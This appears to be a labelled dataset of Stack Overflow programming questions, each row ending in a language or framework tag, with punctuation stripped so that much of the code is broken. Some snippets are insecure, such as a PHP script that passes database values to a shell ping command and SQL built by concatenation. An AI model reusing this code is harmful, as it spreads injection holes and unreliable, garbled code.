please help me write the value in the database  there is a script which pings all the ip addresses in the column  ip_address   i need to ping after reports he wrote in the column  status . i.e. if the computer is online  in the column  status  write the value 1  if the offline database set to 0. example: <a href= http://i.stack.imgur.com/btiat.jpg  rel= nofollow >http://i.stack.imgur.com/btiat.jpg</a>    he does not want to write this value. here s my script:   <pre><code>$link = mysqli_connect( 192.168.10.56    test    test    test );  /* check connection */ if (mysqli_connect_errno()) {     printf( failed to connect: %s\n   mysqli_connect_error());     exit(); }  foreach($test as $value){     exec( ping -c 1   . $value-&gt;ip_address  $output  $result);     if ($result == 0) {         $insert_sql = mysqli_query($link   update  test  set  status = 1  where ip_addres =   .$value-&gt;ip_address.   );      }else{          $insert_sql = mysqli_query($link   update  test  set  status = 0  where ip_addres =   .$value-&gt;ip_address.   ); }     }  mysqli_close($link);  &gt; </code></pre>   how to write a value <code>mysqli_query</code> correctly,php
why my c program crash  i am using  dev cpp  and i m writing some codes in c    while i m running the code below  after entering all data in the function 1  the exe file just crash.    there are not error shown before i finish entering all the data ad press enter    what is happening    <pre><code>// hotel system *work in progress*// #include&lt;stdio.h&gt; #include&lt;stdlib.h&gt;  struct book {   int bookno[20];   char travellername[20];   char destination[20];   char hotelname[20];   char checkin[20];   char checkout[20];   int guestno[20];   char type[20];   float fee;  }b;   void add();//add new booking void all(); //view all booking  //void mod();  modify booking //void search(); search booking //void del(); delete booking  void main() {  int choose; do{ printf( \n     *** welcome to hong kong hotek booking record and management     system 2017 ***\n ); printf( \n     *** this system is developed by ccit4020 class no.nl-   group no.   *** ); printf( \n\n\n--&lt;basic functions&gt;-- \n );  printf( \n1. add new hotel booking record(s): \n ); printf( \n2. display all hotel booking records: \n ); printf( \n3. modify hotel booking record(s): \n ); printf( \n4. search hotel booking record(s): \n ); printf( \n5. delete hotel booking record(s): \n ); printf( \n0. quit: \n ); printf( \nwhat is your option (0-5)   ); scanf( %d  &amp;choose);      switch (choose) {     case 1 :         add();     break;     case 2:         all();     break;      //case 3:     //  mod();     //break;      //case 4:     //    search();     //break;      //case 5:     //    del();     //break;      case 0:         exit(0);     break;       default:         printf( invalid choice! please enter again! );     break; } }while(choose!=0);  }   void add()  {  file *fp; struct book b; printf( hotel booking number:  );    scanf( %s  b.bookno);  printf( name of traveller:  );   scanf( %s  b.travellername);  printf( destination:  );     scanf( %s  b.destination);  printf( name of hotel:  );   scanf( %s  b.hotelname);  printf( check-in schedule:  );   scanf( %s  b.checkin);    printf( check-out schedule:  );  scanf( %s  b.checkout);   printf( number of guests:  );    scanf( %s  b.guestno);    printf( room type:  );   scanf( %s  b.type);   printf( total fee:  );   scanf( %s  b.fee);    fp=fopen( data.txt   a );  if(fp == null) {     printf( there are no data file! please create one! ); } else {     fprintf(fp  %s \n %s \n %s \n %s \n %s \n %s \n %s \n %s \n %s  b.bookno b.travellername b.destination b.hotelname b.checkin b.checkout b.guestno b.type b.fee);     printf( one record added! ); }     printf( \n ); fclose(fp); }  void all() { char choose; file *fp;  fp = fopen( data.txt   r ); if(fp == null) {     printf( there are no data file! );     exit(1);  } else {        system( clear );     while( ( choose = fgetc(fp) ) != eof )         printf( %c  choose);  } fclose(fp); } </code></pre>,c
update one database with info from another  i have this query   <pre><code>select pu.payroleid  u.userid  u.firstname  u.lastname from users as u  payrole_users as pu where pu.firstname = u.firstname and pu.lastname = u.lastname limit 0   60 </code></pre>   which selects all <code>userid</code> s from the <code>users</code> table if the names matches the names in the <code>payrole_users</code> table (if i ve got the query right!). what i need is: for each <code>userid</code>  i need to update the <code>payrole_users.intranetid</code> field. is this possible to do with just one query or would i need to store all these as an array and then loop through the array after and then update it,mysql
couch database ->an instance 0x18e35de0 of class cbllivequery was deallocated while key value observers were still registered with it <pre><code>   iam using couchdatabase in my application fileprivate var settings:cbllivequery  fileprivate var orderlist:cbllivequery  fileprivate var kotitems:cbllivequery  var document: cbldocument  var receivehandler:datareceivehandler! var orderreceivehandler:orderlistreceivehandler!   let listsview = app.appdb .viewnamed(uuid().uuidstring)     if listsview .mapblock == nil {         listsview .setmapblock({ (doc  emit) in             if doc[ doc_type ]as  string ==  kot_items  {                 emit(doc[ _id ] as any  doc)             }         }  version:  1.0 )     }     kotitems = (listsview .createquery().aslive())!     kotitems .addobserver(self  forkeypath:  rows   options: nskeyvalueobservingoptions(rawvalue: 0)  context: nil)     kotitems .start() </code></pre>   my app crash due to allocate cbllivequery for fetch data from couch database.how to deallocate cbllivequery after fetch data from couch database. *** terminating app due to uncaught exception  nsinternalinconsistencyexception   reason:  an instance 0x18e35de0 of class cbllivequery was deallocated while key value observers were still registered with it. current observation info:,ios
what does thread.sleep(0) mean c#   does mean there is no delay     a book says the below **   <blockquote>    thread.sleep(0) relinquishes the thread’s current time slice   immediately  voluntarily handing over the cpu to other threads.  </blockquote>   **    does it mean that even though a statement is supposed to be executed  giving 0 for sleep will skip execution for the moment,c#
is it always ok to not explicitly initialize a value if you would only be setting it to its default value   resharper just prompted me on this line of code:   <pre><code>private static bool shouldwritetodatabase = false; </code></pre>   indicating that i should not say   = false  because bools  apparently  <a href= http://msdn.microsoft.com/en-us/library/83fhsxwc.aspx >default to false in c#</a>. i ve been programming in c# for over a year and a half and never knew that. i guess it just slipped through the cracks  but this leaves me wondering what s good practice.    do i work on the assumption that default values are understood by all  this would result in cleaner code  but invites ambiguity if another programmer isn t aware of the default value.,c#
function values and local variables injavascript <pre><code>var a = null; function b() {return  b ;} (a || b)(); </code></pre>   when i <code>alert((a || b)());</code>.it shows b. why  the return of <code>a || b</code> is true or false. why the above return b.    2:local variables   <pre><code>function power(base  exponent) { var result = 1; for (var count = 0; count &lt; exponent; count++) result *= base; return result; } power(2  10); </code></pre>   a book says    <blockquote>    if power were to call itself  that   call would cause a new  distinct   result variable to be created and used   by the inner call and would leave the   variable in the outer call untouched.  </blockquote>   i can t follow it well  expect someone can explain it to me. many thanks,javascript
transparent borders are adding to width x height  borders are supposed to go outside of the width x height of a div. but this jsfiddle - <a href= http://jsfiddle.net/l33ck/5/  rel= nofollow >http://jsfiddle.net/l33ck/5/</a> - shows borders being <em>added</em> to the width x height of a div when they re transparent. i would expect the line in the jsfiddle to be 1px when given transparent 1px borders  but it s 3px.    does anyone understand what s going on here   i m looking at it with chrome.    thanks   <pre><code>div#line {     margin-left:100px;     width:1px;     height:200px;     background-color:red;     border:1px solid transparent;  } </code></pre>,html
why return is required in javascript function   when i executed following <code>javascript</code> code  i got <code>undefined</code>   <pre><code>var ns=new string( hello world ); string.prototype.capitalall=function(){                                  this.touppercase()                                        }; alert(ns.capitalall()); // undefined </code></pre>   but  when i add <code>return</code>  it returns a value   <pre><code>var ns=new string( hello world ); string.prototype.capitalall=function(){                                  return this.touppercase() // added return                                        }; alert(ns.capitalall()); // hello world </code></pre>   why <code>return</code> is required here and in end of every function. i have seen use of <code>return</code> in many <code>javascript</code> frameworks.,javascript
how to compare a nsstring to an nspredicate contains array  my code is   <pre><code>nsarray *arr; nsstring *valuestring=tf.text; if(![valuestring isequaltostring:@  ]) {   arr=[valuestring componentsseparatedbystring:@   ]; }  nsmutabledictionary *dict=[[nsmutabledictionary alloc] init]; [dict setvalue:@ sunilkaushik  forkey:@ firstname ]; [dict setvalue:@ kagushik  forkey:@ lastname ];  nsmutabledictionary *dict1=[[nsmutabledictionary alloc] init]; [dict1 setvalue:@ ankurkumar  forkey:@ firstname ]; [dict1 setvalue:@ kumar  forkey:@ lastname ];  nsmutabledictionary *dict2=[[nsmutabledictionary alloc] init]; [dict2 setvalue:@ ankurgarg  forkey:@ firstname ]; [dict2 setvalue:@ garg  forkey:@ lastname ];  nsmutabledictionary *dict3=[[nsmutabledictionary alloc] init]; [dict3 setvalue:@ rahulrathi  forkey:@ firstname ]; [dict3 setvalue:@ rathi  forkey:@ lastname ];  nsmutabledictionary *dict4=[[nsmutabledictionary alloc] init]; [dict4 setvalue:@ gautamgangandhan  forkey:@ firstname ]; [dict4 setvalue:@ gahandhan  forkey:@ lastname ];  nsmutabledictionary *dict5=[[nsmutabledictionary alloc] init]; [dict5 setvalue:@ ajay  forkey:@ firstname ]; [dict5 setvalue:@   forkey:@ lastname ];  nsarray *contacts=[[nsarray alloc] initwithobjects:dict dict1 dict2 dict3 dict4 dict5  nil]; nspredicate *pred;         pred = [nspredicate predicatewithformat:@ firstname contains[cd]%@   arr];     contacts = [contacts filteredarrayusingpredicate: pred]; </code></pre>   it crashed on last line.,ios
error : thread was being aborted when writing to xml document on asp.net  i have this code to write a xml document:   <pre><code>system.web.httpresponse response = system.web.httpcontext.current.response;  memorystream stream = new memorystream();  xmltextwriter  myxmltextwriter = new xmltextwriter(stream  encoding.utf8);  // building xml document myxmltextwriter.writeenddocument();  myxmltextwriter.flush();  stream.seek(0  seekorigin.begin);  myxmltextwriter.close(); stream.close();  response.write( system.text.asciiencoding.ascii.getstring(stream.getbuffer()));  context.response.end(); </code></pre>   then in the xml file  there is a line:  error : thread was being aborte,asp.net
sort nsarray based on struct property  i have an nsarray of objects.    each object has a property struct location that stores int x and int y.    location represents the location of the object on a 10x10 board.    i would like to sort the nsarray of objects starting with the top left (0 0) location down to the bottom right (9  9) location  sorting each object in the each row first    what is the easiest way to do this,objective-c
navigation bar hidden  move remaining view under status bar  i have navigation controller hidden in one of the controller. that controller shows default status bar instead of moving view under the status bar. here i need to hide navigation bar and move remaining view under status bar. i am looking for solution for this situation. if anyone has faced similar problem please help.    <a href= https://i.stack.imgur.com/pmnad.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/pmnad.png  alt= enter image description here ></a>,ios
the function ceil() is ignored  i have a question regarding the ceil() function. i the following code i try to round up by two decimal places in c for the variable monthlypayment  and the ceil function seems to be ignored in the output. in the image is the output compared to what it is supposed to be.  <a href= http://i.stack.imgur.com/nooba.png  rel= nofollow >img</a>   <pre><code>#include  stdafx.h  #include  stdio.h  #include  math.h  #define months 12  int main() {     double principle;     double rate;     double numyears;     double nummonths;     double monthlypayment;     double monthlyrate;      printf( welcome to the morgage calculator.\nenter your principal amount to get started.  );     scanf_s( %lf   &amp;principle);     printf( enter the yearly morgage interest rate  );     scanf_s( %lf   &amp;rate);     printf( enter the number of years  );     scanf_s( %lf   &amp;numyears);     nummonths = numyears * months;     monthlyrate = rate / months / 100;     monthlypayment = ((monthlyrate) / (1 - pow((1 + monthlyrate)  (-nummonths)))* principle);     monthlypayment = monthlypayment * 100;     ceil(monthlypayment);     monthlypayment = monthlypayment / 100;     double toprince = 0.0;     double interest = 0.0;     printf( your total monthly payment ammount:$ %.2lf\n   monthlypayment);     printf( month\tprinciple\tinterest\t $ to principle\n );         for (int index = 1; index &lt;= nummonths;) {             interest = principle * monthlyrate;             toprince = monthlypayment - interest;                printf( %2d%16.2lf %16.2lf %16.2lf\n   index  principle  interest  toprince);             principle = principle - toprince;             index++;         } } </code></pre>,c
rails unable to get before_destroy to call when deleting  i ve been at this for a while and need a smarter person s opinion.  i m trying to check the passcode i have in my database matches the passcode the user enters in order to delete a record.  i believe that i should be doing this in the model  and i am refactoring to use the before_destroy method.  however i can t even get the before_destroy method to execute when i click on the delete button i made.  the controller does execute the destroy method though.    view   <pre><code>&lt;%= button_to( destroy   @dish  method:  delete ) %&gt; </code></pre>   model - the puts passcode_check  is never called from what i see   <pre><code>class dish &lt; activerecord::base    before_destroy :passcode_check     validates :username  presence: true    validates :passcode  presence: true    validates :guests  numericality: { only_integer: true  greater_than_or_equal_to: 0 }    private    def passcode_check      puts  passcode_check        if @dish.passcode != params[:pass]        @dish.errors.add( :base   unable to delete record; reason: passcodes did not match. )        return false      else        @dish.errors.add( :base   test. )        return false      end    end  end </code></pre>   controller - this method is influx as i want to validate in the model   <pre><code>  def destroy     if @dish.passcode == params[:pass]       @dish.destroy unless @dish.errors       respond_to do |format|         format.html { redirect_to dishes_url  notice:  record delete.  }         format.json { head :no_content }       end     else       respond_to do |format|         format.html { redirect_to @dish  action:  show   notice:  unable to delete record; reason: passcodes did not match.  }         format.json { render json: @dish.errors  status: :unprocessable_entity  }       end     end   end </code></pre>,ruby-on-rails
how to click a button on an asp.net web page programmatically   i am trying to figure out how to click a button on a web page programmatically.    specifically  i have a winform with a webbrowser control.  once it navigates to the target asp.net login page i m trying to work with  in the documentcompleted event handler i have the following coded:   <pre><code>htmldocument doc = webbrowser1.document;  htmlelement userid = doc.getelementbyid( useridtextbox ); userid.innertext =  user1 ;  htmlelement password = doc.getelementbyid( userpasswordtextbox ); password.innertext =  password ;  htmlelement button = doc.getelementbyid( logonbutton ); button.raiseevent( onclick ); </code></pre>   this fills the userid and password text boxes fine  but i am not having any success getting that darned button to click; i ve also tried  click    click   and  onclick  -- what else is there .  a search of msdn of course gives me no clues  nor groups.google.com.  i gotta be close.  or maybe not -- somebody told me i should call the post method of the page  but how this is done was not part of the advice given.     btw the button is coded:   <pre><code>&lt;input type= submit  name= logonbutton  value= login  onclick= if (typeof(page_clientvalidate) ==  function ) page_clientvalidate();   language= javascript  id= logonbutton  tabindex= 4  /&gt; </code></pre>,asp.net
video capture code does not work on iphone 4  i have captured video in iphone 3gs using the uiimagepickercontroller  but the same app does not engage the video camera on iphone 4 it is also working fine on iphone 3gs (os 4).    following is the code i used to engage the video camera.   <pre><code>uiimagepickercontroller *imagepicker = [[uiimagepickercontroller alloc] init]; imagepicker.mediatypes =  [nsarray arraywithobject:(nsstring *)kuttypemovie]; imagepicker.sourcetype = uiimagepickercontrollersourcetypecamera; imagepicker.delegate = self; [self presentmodalviewcontroller:imagepicker animated:yes];    [imagepicker release]; </code></pre>,iphone
webkit transform making css not work as expected  i m no expert with css and i m running into a weird issue i can t find an answer to with our old friend google....     i have a page  and two different sets of css that are used when the page is at different sizes. this serves to resize the navigation bar. this all works brilliantly  no issues. where the hangup is is this : when the page first loads  the navigation bar is pinned to the top of the screen as i wanted (doesn t scroll with content  always at the top). but as soon as the css triggers the webkit resize  it starts scrolling with the content and is no longer fixed at the top.    where i scratch my head is that there are only 2 lines of difference in the css and neither changes the anchoring.... here are the two snippets of css - first  the beginning css which sticks to the top :   <pre><code>#navbarwrapper { position: absolute; left: 50%; top: 0px;    width: 1500px; margin-left: -750px; z-index: 99; background-color: #33ffcc; } </code></pre>   and the replacement css that unglues it and makes it roam free :   <pre><code>#navbarwrapper { position: absolute; left: 50%; top: 0px;    width: 1400px; margin-left: -700px; z-index: 99; background-color: #33ffcc; -webkit-transform: scale(.93333); -webkit-transform-origin: 0 0; } </code></pre>   is the webkit transform origin making it not be sticking,css
is there an equivalent in php to .net s datasets   asp.net has the concept of a dataset to capture the data and build relationships with the data  and maintain good performance without having persistent sql connections.    is there something similar in php that i can use,php
slow query - selecting rows where a foreign property does not exist  i have a person table  and a place table with fields person  type  and phonenumber.  i want to find all entries in the person table who don t have a home phone number.  the problem is  they either might not have a home in the table  or they might have a home but with no home phone number.  (one person can have an arbitrary number of associated places  so i can t just check for <em>no</em> associated places.)    my current query looks like    <pre><code>select id from person left join place on person.id = place.person where  (place.type =  home  and place.phone is null) or (not exists       (select * from place where person.id = place.person and place.type=  home )) </code></pre>   the problem is that the subquery is really slow since it s not doing a join.  how can i improve performance  either by using a join within the subquery or by some other trick,sql
why we changed application.html.erb file name as default.html.erb in rails   i have changed file name application.html.erb as default.html.erb. but i don t understand why we changed file name  please tell me that one.,ruby-on-rails
adjust table view  i am working on a project in which i have use table view cell and iadbanner.when i am scrolling the table and want to see the last cell of table it goes behind the iadbanner.how can i adjust the table so that i can see the last cell of the table along with iadbanner.,iphone
how to get name of variable via their value in class c#  currently i have a class as below:   <pre><code>public static class jurisdictionlist {     public const string nsw =  new south wales ;     public const string nt =  northern territory ;     public const string qld =  queensland ;     public const string sa =  south australia ;     public const string tas =  tasmania ;     public const string vic =  victoria ;     public const string wa =  western australia ; } </code></pre>   and i want to write a method <code>string getjurisdictioncode(string jurisdiction)</code> to return the name of each above constant respective with their value. for example <code>getjurisdictioncode(jurisdictionlist.qld)</code> will return qld.    currently i just know to do this using switch case  but it looks quite long. does any one know another ways to solve it  thanks in advance.,c#
sql - parsing a query  i worked on a parser for arithmetic expressions.  the key there was building a syntax tree  where leaves are variables and nodes are operators.    not i m thinking about parsing sql queries. parsing simple select won t be a problem  but i m not pretty sure about the complex queries. can you point me to a good reference about sql parsing. thank you in advance!,sql
handling  ok  button from uialertview  i have an alert view set up for two names to be entered like so    uitextfield *player1;         uitextfield *player2;   <pre><code>    uialertview *prompt = [[uialertview alloc] initwithtitle:@ enter 2 player names                                                       message:@ \n\n\n  // important                                                     delegate:nil                                            cancelbuttontitle:@ ok                                             otherbuttontitles:nil];      player1 = [[uitextfield alloc] initwithframe:cgrectmake(12  50  260  25)];     [player1 setbackgroundcolor:[uicolor whitecolor]];     [player1 setplaceholder:@ player1 ];     [prompt addsubview:player1];      player2 = [[uitextfield alloc] initwithframe:cgrectmake(12  85  260  25)];     [player2 setbackgroundcolor:[uicolor whitecolor]];     [player2 setplaceholder:@ player2 ];     [prompt addsubview:player2];      // set place     [prompt settransform:cgaffinetransformmaketranslation(0  110)];     [prompt show];     //[prompt release];      // set cursor and show keyboard     [player1 becomefirstresponder]; </code></pre>   now i would like to handle the  ok  button click.  i m attempting to do something like this with no luck..   <pre><code>- (void)alertview:(uialertview *)alertview clickedbuttonatindex:(nsinteger)buttonindex { if (buttonindex == 0) {     nslog(@ cancel ); } else {     uialertview *alert = [[uialertview alloc] initwithtitle:@ ok works  message:@ no error  delegate:nil cancelbuttontitle:@ ok  otherbuttontitles:nil];     [alert show];     [alert release]; } } </code></pre>   from what i ve read this should work.  however when i press the  ok  button nothing happens.,objective-c
how to make the posts of a content type horizontal scrollabel   i m trying to make my teaser view of the content type (application_formulier) scrollabel on the x-axis instead of the y-axis. i made a view for this (view-view-s4p).    using css i got the following:   <pre><code>.view-view-s4p{ margin-left:-50px; max-width:920px; min-width:920px; height:260px; overflow:auto; overflow-y:hidden; } .view-view-s4p .view-content { margin:0 -32767px 0 0;/* browser limit */ height:240px; } .view-view-s4p .view-row{ float:left; } </code></pre>   i now have the scroll working but it go s way past the last post... any idee on how to fix this.     go to this link to see an image of my problem: <a href= https://www.dropbox.com/s/7sse3shk08ex9g6/problem.png  rel= nofollow >https://www.dropbox.com/s/7sse3shk08ex9g6/problem.png</a>    (btw: if i m not allowed to change my question like this plz let me know.),css
error in using select * into statement in c#  i am struggling to get my query to work in c# usng the select * into statement which will copy the data of the table and create a new table.   <pre><code>using (sqlconnection con = new sqlconnection(connectionstring))         {             con.open();             using (sqlcommand cmd = new sqlcommand( select  pp.upc as upc   pp.description as                     description sp.qty_onhand as qty  +                            into tempproductprofile from product_profile pp  +                            inner join store_products sp on  +                            pp.upc = sp.upc  +                            order by pp.description   con))                     cmd.executenonquery(): &lt;-- got error here                  } </code></pre>   can anyone point me the right way . thanks,c#
mysql query wrong results on group  i am creating a simple forum app for website and here is my table schema...    here is mysql query to get all categories  total_topics  total_posts  and last_topic_date...   <pre><code>select fc.id  fc.name  fc.var_name  fc.description  fc.dnt  count(ft.id) as total_topics  count(fp.id) as total_posts  max(ft.dnt) as last_topic_date  from forum_categories fc left join forum_topics ft on ft.category_id = fc.id left join forum_posts fp on fp.topic_id = ft.id group by fc.id </code></pre>   <a href= http://sqlfiddle.com/#!2/ad2a6/2/0  rel= nofollow >mysql fiddle</a>    as you can see i am getting 3 total_topic while there is only 2 topics available in that category. please help me to fix this. thanks.,mysql
python - how to count number of numbers from columns   i have a file with the following input data:   <pre><code>       in   out data1  2.3  1.3 data2  0.1  2.1 data3  1.5  2.8 datax  ...  ... </code></pre>   there are thousands of such files and each has the same data1  data2  data3  ...  datax i d like to count number of each value for each data and column from all files. example:    in file  data1-in  (filename)   <pre><code>2.3 - 50    (times) 0.1 - 233   (times) ... - ...   (times) </code></pre>   in file  data1-out  (filename)   <pre><code>2.1 - 1024 (times) 2.8 - 120  (times) ... - ...  (times) </code></pre>   in file  data2-in  (filename)   <pre><code>0.4 - 312    (times) 0.3 - 202   (times) ... - ...   (times) </code></pre>   in file  data2-out  (filename)   <pre><code>1.1 - 124 (times) 3.8 - 451  (times) ... - ...  (times) </code></pre>   in file  data3-in  ...    which python data structure would be the best to count such data   i wanted to use multidimensional dictionary but i am struggling with keyerrors etc.,python
all country  states  cities sql dump script  i still can find exactly like this one  i know it is available here but it s too pricey. anyone who have sql data exactly in the website link below     <a href= http://myip.ms/info/cities_sql_database/world_cities_sql_mysql_database.html  rel= nofollow >http://myip.ms/info/cities_sql_database/world_cities_sql_mysql_database.html</a>,sql
"is data a reserved keyword in angularjs   the code below doesn t work if i use <code>data in lst</code>  it works  if i <strong>replace</strong> <code>data</code> with <code>x</code>  so is data a reserved keyword in angularjs and why     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= http://ajadata.googleapis.com/ajax/libs/angularjs/1.4.8/angular.min.js &gt;&lt;/script&gt;
 
 &lt;body ng-app= app1 &gt;
   &lt;div id= grocery  ng-controller= grocery &gt;
     &lt;h3&gt;grocery list&lt;/h3&gt;
     &lt;div ng-repeat= data in lst &gt;
       &lt;h4&gt;{{data.item}}&lt;/h4&gt;
     &lt;/div&gt;
     &lt;br&gt;
 
     &lt;p&gt; enter item:
       &lt;input type= text  ng-model= additem  /&gt;
     &lt;/p&gt;
     &lt;button ng-click= addtolist(additem) &gt;add to list&lt;/button&gt;
     &lt;button ng-click= addtolist(additem) &gt;add to list&lt;/button&gt;
     &lt;h2&gt;{{noitemerror}}&lt;/h2&gt;
   &lt;/div&gt;
   &lt;!-- end of grocery --&gt;
   &lt;script&gt;
     var app1 = angular.module( app1   []);
     app1.controller( grocery   function($scope) {
       $scope.lst = [{
           item:  banana  
           needed: false
         } 
         {
           item:  apple  
           needed: false
         } 
         {
           item:  milk  
           needed: false
         } 
         {
           item:  tomato  
           needed: false
         } 
         {
           item:  juice  
           needed: false
         }
       ]
       $scope.addtolist = function(additem) {
         if (!(additem === undefined || additem ===   )) {
           $scope.lst.push({
             item: additem 
             needed: false
           });
           $scope.noitemerror =   ;
         } else {
           $scope.noitemerror =  please enter an item ;
         }
       }
     });
   &lt;/script&gt;
 &lt;/body&gt;</code></pre>
 </div>
 </div>
     <a href= https://i.stack.imgur.com/0io6o.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/0io6o.png  alt= enter image description here ></a>",angularjs
string.split in .net fw - why no overload that takes a single string   ...e.g. string.split(delim as string).,.net
javascript tic tac toe - checking if a player has won always returns false  trying to build a js tic-tac-toe game. i ve successfully done this in python previously  but using similar logic i can t seem to get the checkwin function to correctly return whether or not a player has won.    here is the code   <pre><code>var game = function(){ let board = [0 1 2 3 4 5 6 7 8]  turncounter;  this.checkwin = function(){ // seems to be an issue with this check win function     if (         board[0] == board[1] == board[2] ||         board[0] == board[3] == board[6] ||         board[3] == board[4] == board[5] ||         board[1] == board[4] == board[7] ||         board[6] == board[7] == board[8] ||         board[2] == board[5] == board[8] ||         board[0] == board[4] == board[8] ||         board[2] == board[4] == board[6]){         return true;     } else {         return false;     } }; </code></pre>   the board array represents a 3x3 grid  0 top left  8 in the bottom right. it gets updated to either x or o based on a users selection.    any help is appreciated!,javascript
css casing ignored  for some reason  the featured articles in the right column are ignoring the  #elementtext  and  #elementtext:hover  attributes. only  p.element  and  img.element  are showing.    any ideas     thanks - tara    <strong>bonus:</strong> i m also trying to get the  p.element  text to float centrally (vertically and horizontally - while being left aligned) in the  #elementtext  boxes.   <pre><code>#elementtext {         height: 90px;         width: 150px;     margin-left: 1px;     background: #c3c3c3;     padding: 0px 10px 0px 5px; } p.element {         height: 85px;         width: 145px;     padding: 2.5px 2.5px 2.5px 2.5px; } #elementtext:hover{     background:#ff9999;     cursor:pointer; } </code></pre>,css
my python pascal triangle (using binomial coefficients) code returns 2 terms per line. how do i fix this   this is my code:   <pre><code>import math def binomial(n k): if k == n:     print(1)  elif k == 1:              print(n) elif k &gt; n:               print(0) else:     a=math.factorial(n)     b=math.factorial(k)     c=math.factorial(n-k)     bin = int(a/(b*c))     print(bin  end=    )     #print ( binomial of (n k) is :   bin)     return  def pascal(n): list=[n] for n in range(1 n+1):     #print (list)     list.append([])     list[n].append(1)     for k in range(0 n+1):         list[n].append(binomial(n k))     #newlist.append(list[-1])  return  pascal(20)     for x in range (1 n+1):     for y in range (0 x+1):         print (binomial(x y) )     #print (   )     x=int(input( enter n:  )) y=int(input( enter k:  ))  binomial(n=x k=y) </code></pre>   the terms returned are technically correct  but instead of forming a triangle shape  they were printed two terms each line. i would like to know how to fix the shape as appropriate.,python
adding viewcontroller elements to another scrollview  i have a <code>viewcontroller</code> called tag that has labels and photos i need to recreate on another <code>viewcontroller</code> called  task  with a <code>scrollview</code>. i ve added these by saying:     task.m   <pre><code> - (void)loadfromnib { tag *tag = [[tag alloc] init];     [self.view addsubview:tag.imageview3];     [scroll addsubview:tag.imageview3]; </code></pre>   the image only loads when it s not added to the scrollview.,objective-c
options for big arrays in .net with over 2^31 keys  are there any built it options for arrays supporting more than 2^31 keys.  this would make keys of type system.int64 rather than system.int.  while 2^31 is a fair amount  there are a growing number of of applications where more keys would help. for instance  there are over 3 billion base pairs in the human genome.  any easy options,.net
findcontrol failed for templatefield (linkbutton) in detailsview  i would like to set a templatefield (linkbutton) to invisible when the detailsview is not in readonly mode.  i created a linkbutton to replace the auto-gen  delete  button and want to hide it when editing and inserting.   <pre><code>&lt;asp:detailsview id= resultdetailsview  runat= server  autogeneraterows= false  datakeynames= smo_code id      datasourceid= detailviewdatasource  height= 50px  width= 125px  oniteminserting= resultdetailsview_iteminserting      onitemupdating= resultdetailsview_itemupdating  onitemupdated= resultdetailsview_itemupdated      onitemdeleted= resultdetailsview_itemdeleted  oniteminserted= resultdetailsview_iteminserted      onitemdeleting= resultdetailsview_itemdeleting  onmodechanging= resultdetailsview_modechanging      ondatabound= resultdetailsview_databound  onitemcommand= resultdetailsview_itemcommand &gt;     &lt;fields&gt;         &lt;asp:boundfield datafield= event  headertext= event  sortexpression= event  /&gt;         &lt;asp:templatefield showheader= false &gt;             &lt;itemtemplate&gt;                 &lt;asp:linkbutton id= deletelink  runat= server  commandname= delete  text= delete                      onclientclick= return confirm( are you sure you want to delete this item  );  /&gt;             &lt;/itemtemplate&gt;         &lt;/asp:templatefield&gt;         &lt;asp:commandfield showdeletebutton= false  showeditbutton= true  showinsertbutton= true  /&gt;     &lt;/fields&gt; &lt;/asp:detailsview&gt; </code></pre>   in code behind  findcontrol returned null:   <pre><code>protected void resultdetailsview_databound(object sender  eventargs e) {     linkbutton deletelink = (linkbutton)resultdetailsview.findcontrol( deletelink );     if (resultdetailsview.currentmode == detailsviewmode.readonly)     {         deletelink.visible = true;     }     else     {         deletelink.visible = false;     }  } </code></pre>,asp.net
in a 2-column layout  how do i make one column expand to total width if i remove the other column   better explained with a markup:    html:   <pre><code>&lt;div&gt;&lt;!--both sidebar and content share width--&gt;   &lt;div id= content &gt;&lt;!--maybe at 30%--&gt;   &lt;/div&gt;   &lt;div id= sidebar &gt;&lt;!--may be at 70%--&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   css:   <pre><code>#sidebar{float:left;} /* no idea what width*/ #content{float:right;} /* no idea what width*/ </code></pre>   what i want to do is that if the sidebar is not present in the markup  the content div expands to take the place of the sidebar:   <pre><code>&lt;div&gt;  &lt;div id= content &gt;&lt;!--width now at 100%--&gt;  &lt;/div&gt; &lt;/div&gt; </code></pre>,css
how to keep hover after hover efect   so i have this hover efect <a href= http://codepen.io/anon/pen/dmbedq  rel= nofollow >http://codepen.io/anon/pen/dmbedq</a> but problem is that after animation finish hover disappear. i need that hover stay. any suggestion    <pre><code> &lt;div class= hover15 &gt;     &lt;figure&gt;&lt;img src= http://nxworld.net/codepen/css-image-hover-effects/pic03.jpg  /&gt;&lt;/figure&gt;  &lt;/div&gt; </code></pre>,css
javascript adding multiple images using jspdf the first canvas is repeated  i am using chart.js to produce some graphs and jspdf.js to produce a report containing images of the graphs and outputting as a pdf. i loop through the canvas s containing the graphs and add to the pdf doc but it is simply repeating the same chart on each graph.    i have a button with an onclick call this function   <pre><code>function exporttopdf() {    var doc = new jspdf();    var canvases = document.getelementsbyclassname( canvas );    for (var i = 0; i &lt; canvases.length; i++) {      var currentcanvas = canvases[i];     var url_base64jp = currentcanvas.todataurl( image/jpg );     doc.addimage(url_base64jp   png   15  40  180  160       fast );     doc.addpage();   }    doc.save( output.pdf ) } </code></pre>   when i browse the pdf the first chart is repeated many times. if i change line   <pre><code>doc.addimage(url_base64jp   png   15  40  180  160     fast ); </code></pre>   to   <pre><code>doc.addimage(url_base64jp   png   15  40  180  160); </code></pre>   it works but the pdf created is 100mb+ as opposed to ~100kb i think the additional processing required to add the large image slows it down so the base64 image generation is done by the time the next addimage is met. i think this is probably to do with callbacks and asynchronous processing but i cant get my head round it. can anyone help me with this,javascript
getting data to a list from dataset using lambda exp  i have a class as    <pre><code>public class shippingservicechargetypeidmapping     {         /// &lt;summary&gt;         /// shipping service charge type id          /// &lt;/summary&gt;         public int shippingservicechargetypeid { get; set; }          /// &lt;summary&gt;         /// accessorialid         /// &lt;/summary&gt;         public int accessorialid { get; set; }     } </code></pre>   i want to pupulate the list of this class from a dataset without iterating (using lambda exp basically) that contains multiple columns .    lets say a dummy dataset :    <pre><code> class dummydataset     {         static void main()         {             datatable table1 = new datatable( patients );             table1.columns.add( shippingservicechargetypeid  );             table1.columns.add( accessorialid  );             table1.columns.add( shipmentid );             table1.columns.add( chargeid  );         }     } </code></pre>   assume this dataset has some values too,c#
